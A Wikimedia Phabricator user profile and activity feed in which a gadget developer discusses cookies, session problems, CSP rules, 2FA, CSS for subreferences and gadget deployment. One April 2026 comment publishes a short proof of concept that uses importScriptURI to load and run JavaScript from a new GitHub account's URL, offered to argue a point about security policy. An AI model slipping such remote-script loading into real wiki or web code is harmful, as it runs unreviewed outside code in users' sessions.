Full stack developer and a tech lead in a daily job. I mainly deal with web stuff, and in wikimedia I mainly write gadgets (CSS/JS). UI/UX enthusiast.
On wikipedia since 2005.
User Details
- User Since
- Oct 13 2014, 5:14 PM (609 w, 23 h)
- Availability
- Available
- LDAP User
- Unknown
- MediaWiki User
- Nux [ Global Accounts ]
Yesterday
Matma suggested last weekend it might be some old cookies and it was. I cleared my cookies on both plwiki and commons and the problem is gone. Weird, but I'm OK with that 🙂
Wed, Jun 10
Seems to be working. You can use atom feeds (e.g. hook them up in Thunderbird):
- https://pl.wikipedia.org/w/api.php?urlversion=2&tagfilter=mw-edited-other-users-css%7Cmw-edited-other-users-js&days=30&limit=50&action=feedrecentchanges&feedformat=atom
- https://meta.wikimedia.org/w/api.php?urlversion=2&tagfilter=mw-edited-other-users-css%7Cmw-edited-other-users-js&days=30&limit=50&action=feedrecentchanges&feedformat=atom
Tue, Jun 9
Seems like both of this is only available on Wikidata item page like https://www.wikidata.org/wiki/Q139906870
$( '.wikibase-entityview' ) // → Object { 0: div#wb-item-Q139906870.wikibase-entityview.wb-item, length: 1, prevObject: {…} } mw.config.get( 'wbIsEditView' ) // → true
The problem seems to be here:
mw.hook( 'wikipage.content' ).add( () => { // This is copied from startup.js in MediaWiki core. var mwPerformance = window.performance && performance.mark ? performance : { mark: function () {} }; mwPerformance.mark( 'wbInitStart' );
Mon, Jun 8
Probably crucially echo does a Foreign API call:
Hm... Heh. Something keeps changing. Now I'm getting Error: View mediainfoview does not exist (T321532) on a file page and could not reproduce.... Not sure if banners could affect the tests. They seem to change a lot lately....
Sun, Jun 7
Logstash does include bugs in gadgets. You could apply to get access to it, though it is not easy (you need to get a high level "sponsor" of your request). I think it would help if every major wiki had at least one user that could view Logstash.
On plwiki we recently created a template for that:
{{Theme
|light = [[File:Light image.svg|thumb]]
|dark = [[File:Dark image.svg|thumb]]
}}Not great, as it;s almost twice the work, but it works.
Strange. Something changed I cannot repeat original steps, but I can repeat in safe mode like this:
Wed, Jun 3
Oh. I should probably have mentioned that I use Firefox 151.0.2 on Windows 11. If the issue is somehow related to cookies, then IIRC Firefox still handles them differently than Chrome in some cases. I do have privacy features disabled for Wikimedia sites (the tracking shield is disabled):
Sure. I assume this is not specific to reviews, as I had similar session problems when working on templates. But here are the steps with actions as I reported above:
Tue, Jun 2
Wed, May 27
I can confirm it work on pl.wm, thanks
I'm looping on pl.wikimedia.org too. No way to edit JS.
Mon, May 25
Mon, May 18
Hi. I created Wikiploy ESLinter Edit project as a workaround to current annoying flow... This solves some of the problems created here for the interface administrators. It makes editing more then one file faster and generally less of burden. I used it to fix some scripts on Commons.
May 15 2026
Fixed
May 7 2026
May 6 2026
Hm... So I assume T197137#11831612 and T197137#11891687 might not be obvious enough.
May 1 2026
I appreciated the detailed write-up. The circumstances are unfortunate because editing JS is now hard, and that, I know, is not for any good reason. I'm sorry, but after the so-called "incident" of running a worm from a staff account, I lost trust in WMF staff and WMF procedures and vented here, assuming something similar happened here. That was unfair, and I'm sorry about that.
Apr 30 2026
Apr 29 2026
I went through this CSS global search and fixed CSS on Meta and most Polish sites.
Apr 21 2026
The docs for the editor suggest using 22px (though I guess you can replace that with 20px in most cases): https://www.mediawiki.org/wiki/Extension:WikiEditor/Toolbar_customization#Add_a_button_to_an_existing_toolbar_group
You will have to use size on your icons:
https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Properties/background-size
Apr 18 2026
Apr 17 2026
@Novem_Linguae I'm not speaking as a random dude on the internet. I have experience and training in security. You can of course not believe me, but it is not hard to check.
Apr 16 2026
I don't usually publish recipes for attacks, but I feel like we will not get anything done without this. I did warn that creating CSP in a rush is just wrong. I did say that the incident is not real, as normally scripts go through a community process that, while not perfect, is far better than what GitHub or NPM has in place.
This took 14 minutes 21 seconds to prepare:
var url = `https://raw.githubusercontent.com/johnnybebad26/wiki-poc-fun/refs/heads/main/poc.js`; var url = "https://cdn.jsdelivr.net/gh/johnnybebad26/wiki-poc-fun@main/poc.js"; importScriptURI(url);
Yes, I did measure the time with a stopwatch ;). I included both creating an e-mail account (on proton) and creating a new Github account.
Apr 14 2026
Apr 13 2026
I would like to have this in the 2nd view (this is not real data, if that is not obvious):
Apr 10 2026
Apr 7 2026
Mar 18 2026
Note that Flyspray has options like that:
Is there any ETA on when the proper implementation will happen? It's becoming increasingly annoying that each action=edit requires full re-authentication.
Mar 17 2026
For context plwiki uses FlaggedRevs.
Mar 16 2026
This (and other tasks) could be resolved with connect-src: http: which should allow loading JSON just fine. Note that changing default-src will change script-src and in turn script-src-elem which would allow easy loading and executing scripts directly from that domain. So you probably do not want that when you only need to allow downloading JSON. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/script-src-elem
Mar 15 2026
Mar 14 2026
Note any sorts of external resource has risk of compromising privacy (3rd party website can know time, IPs and User-Agents of any, or for scripts used by a few people, specific, users using Wikimedia project), so blinding allowing any website is bad.
Hi. I was wondering where to write about this, but the problem is mostly generic and this task is generic. So hopefully this is the right place.
How about official haproxy on toolforge that would allow adding new rules? Seems like e.g. T419232: CSP blocks access to iiif.archive.org; breaks script for pulling high-resolution scans from archive.org (for use at Wikisource) would be better implemented via proxy (the user insisted only specific .json call should be possible).
Mar 12 2026
Mar 11 2026
I think this might work if it would be reframed:
- you go into insecure mode when editing from an unknown IP and that insecure mode is marked somehow (e.g. by some red eye icon on the top bar)
- you have limited actions rather then limited scripts (scripts already enabled would do mostly the same harm to you wherever you are)
- you are still able to edit articles and discuss stuff
- you are not able to change preferences and edit your JS/CSS unless you re-auth with 2FA (somewhat related to T197160: All security-sensitive MediaWiki functionality should require elevated security)
- you probably shouldn't be able to edit restricted pages (like often used templates), until you verify the IP you are editing from
Mar 9 2026
Not very well, passkeys are domain-bound, password managers aren't (or at least aren't in a way we could trust) so they are vulnerable to phishing (which can be easily incorporated in an XSS attack).
I have two PCs and one laptop from which I contribute. I also use two phones. Passkeys are not that great for such a situation, to say the least. Password managers solve most problems that passkeys solve (2FA solves the rest of them) and support more setups.
Mar 7 2026
I really don't like that now Wikipedia forces me to re-login completely. I just tried to edit a gadget and had to type in my password twice and enter a token twice. Perhaps the token was wrong, I don't know (it didn't say!). Entering just a token XOR just a password should be enough. Even in LastPass I'm only asked about my token once a month. I mean I'm grateful for making the case for my Wikiploy to be the only sane way to edit gadgets, but still, normal edits should not be that hard ;)
Mar 6 2026
Mar 5 2026
I'm using my Wikiploy a lot for deploying scripts. This uses a BotPassword, which is basically a token with limited capabilities. I think that should still be allowed, or there should be some other mechanism for CI/CD-like deployments.
Mar 4 2026
I don't see subscribed users protesting, so I think you can close :-)
Mar 2 2026
It's not really about whether SFN is more or less compact. It's about how it feels. Mostly empty space between subrefs immediately feels less compact because there is more empty space. It's about look & feel, not about physical pixels, if that makes sense.
Mar 1 2026
/** ~grid without num **/ ol.references .mw-subreference-list { display: flex; flex-wrap: wrap; margin-left:0; gap: 0 .9em; & > li::before { display:none; min-width:0; } li { min-width: 6em; } }
/** ~grid with single num ** ol.references .mw-subreference-list { display: flex; flex-wrap: wrap; margin-left:0; gap: 0 .5em; font-size: 90%; & > li::before { margin-left:0; min-width:0; font-size: 85%; content: '.' counter(mw-ref-details-child,decimal) '.\00a0' } .mw-cite-backlink { font-size: 125%; } li { min-width: 7.7em; } }
Feb 26 2026
Feb 25 2026
Oh, I see what you meant now. That's unfortunate. I thought the problems with editing subrefs are the same as for editing refs in defined in templates.
Feb 23 2026
I still think this is due the change of icon sizes and is probably a wider problem as UploadForm.js seems to be using Tooltip class as a dependency...
Feb 22 2026
Feb 20 2026
This would not change the calculations much, but there are 441 more small images in template styles (488 without the title filter, so in all templates and modules):
Feb 18 2026
Hm... I think so, yes. The problem was there was no shortcut to built-in search. Now you can always do CTRL+F+F.
Feb 17 2026
Just to make this a bit more complete: plwiki is also using the enwiki version (now used by ~30 users). The gadget was enabled by default from 2012 on plwiki, but IIRC we disabled it once MediaWiki implemented reference previews. Perhaps itwiki can discuss to change the default state too.
Jan 27 2026
Because SVG is sharp on any dpi/ppi.
Found two problems with the migration:
- The docs for the editor suggest using 22px (though I guess you can replace that with 20px in most cases): https://www.mediawiki.org/wiki/Extension:WikiEditor/Toolbar_customization#Add_a_button_to_an_existing_toolbar_group
- If you do want a specific size, there seems to be no way to provide it in this API.
Are icons really a problem? I mean, are there actually external sites using images loaded from Wikimedia as icons on their pages?
In most applications, I’d use sprites (for old school webapps) or icon fonts in new apps. I would imagine people would rather use Font Awesome that is easy to setup and looks uniform rather then using very hard to find icons from Commons. Did you check where does the request for small images come from?
Jan 19 2026
Sure, I implemented it as a TMonkey gadget:
https://github.com/Eccenux/wiki-diffSyntax
Jan 17 2026
Newer PoC is so close I could almost say it works ;)
Jan 10 2026
Last FF on Windows XP is FF v52, so grids are supported even on Windows XP. https://support.mozilla.org/en-US/kb/end-support-windows-xp-and-vista
Microsoft itself ended support for Windows XP in 2014 and support for Windows Vista in 2017.
Jan 6 2026
To be clear, this is problematic due to how template styles are used:
The use case is to be able to use simple SVG in template styles, which makes them more efficient, easier to develop and easier to change.
Jan 4 2026
This is kind of close if you want to use exisiting colors:
.ve-ce-linkAnnotation.ve-ce-annotation-active { /* box-shadow: 0 0 0 1px #c6e0ff; */ /* background-color: #e6f1ff; */ box-shadow: 0 0 0 1px var(--background-color-progressive-subtle--active); background-color: var(--background-color-neutral); }







